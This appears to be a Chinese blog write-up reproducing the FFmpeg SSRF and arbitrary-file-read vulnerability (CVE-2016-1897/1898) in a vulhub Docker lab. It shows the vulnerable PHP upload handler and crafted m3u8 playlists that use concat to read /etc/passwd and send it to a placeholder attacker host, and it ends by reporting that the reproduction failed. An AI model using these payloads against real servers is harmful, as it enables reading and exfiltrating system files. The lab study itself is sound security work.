ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898)

漏洞描述

影响范围

  • FFmpeg 2.8.x < 2.8.5
  • FFmpeg 2.7.x < 2.7.5
  • FFmpeg 2.6.x < 2.6.7
  • FFmpeg 2.5.x < 2.5.10

漏洞环境及利用

搭建docker环境

访问8080端口看到上传界面

由于vulhub并没有讲述该漏洞如何复现,我们需要进入环境查看源码

<?php

if(!empty($_FILES)) {

filename = escapeshellarg(_FILES['file']['tmp_name']);

$newname = './' . uniqid() . '.mp4';

shell_exec("ffmpeg -i filename newname");

}

?>

可以看到就是调用了ffmpeg这个工具来处理文件

这是一个恶意请求的m3u8文件:

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

http://your_ip:9999/test.txt

#EXT-X-ENDLIST

文件格式如下:

#EXTM3U 标签是 m3u8 的文件头,开头必须要这一行

#EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1

#EXTINF:10.0, 表示该一段 TS 流文件的长度

#EXT-X-ENDLIST 这个相当于文件结束符

这些是 m3u8 的最基本的标签,而问题就出在 FFMpeg 去请求 TS 流文件(URL)时,FFMpeg 不会判断里面的流地址,直接请求。所以我们可以试想,用FFMpeg内自带的concat函数,将一个不包含文件结束符的文件与file协议读取的文件衔接起来,请求回攻击机,就能够达到读取任意文件的效果!

漏洞复现

首先,我们需要在 web 服务器上创建一个 back.txt,文件内容是 m3u8 的格式,其中不包含文件结束符。

其次,我们再创建一个恶意的 m3u8 文件,文件内容通过 concat 拼接本地文件/etc/passwd。

最后,我们上传这个恶意的 m3u8 文件。

back.txt:

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:,

http://your_ip:9999/?

upload.m3u8:

#EXTM3U

#EXT-X-TARGETDURATION:6

#EXTINF:10.0,

concat:http://your_ip/back.txt|file:///etc/passwd

#EXT-X-ENDLIST

Tip: 以上的文件需要使用记事本编辑保存,选择默认 utf-8 格式。使用vim来编译可能会导致复现失败。

使用python来搭建一个简易的web,将back.txt部署到web上。

python2 -m SimpleHTTPServer 8888

python3 -m http.server 8888

上传恶意m3u8文件,并监听9999端口

复现失败了

相关推荐
开开心心就好7 小时前
高效账号信息管理工具,可安全随机生成密码
javascript·安全·docker·智能手机·pdf·word·excel
上海云盾-高防顾问8 小时前
云安全与网络安全:核心区别与协同作用解析
安全·web安全
电院工程师9 小时前
轻量级密码算法PRESENT的C语言实现(无第三方库)
c语言·算法·安全·密码学
向上的车轮10 小时前
FFmpeg是什么?
ffmpeg
道剑剑非道10 小时前
QT开发技术【ffmpeg EVideo录屏软件 一】
开发语言·qt·ffmpeg
Guheyunyi11 小时前
AI集成运维管理平台的架构与核心构成解析
大数据·运维·人工智能·科技·安全·架构
aqi0011 小时前
FFmpeg开发笔记(六十五)Linux给FFmpeg集成LC3音频的编码器liblc3
ffmpeg·音视频·直播·流媒体
领世达检测V1335290924913 小时前
智能门锁申请 EN 18031 欧盟网络安全认证指南
网络·安全
嘉里蓝海13 小时前
危险品运输行业观察
安全·物流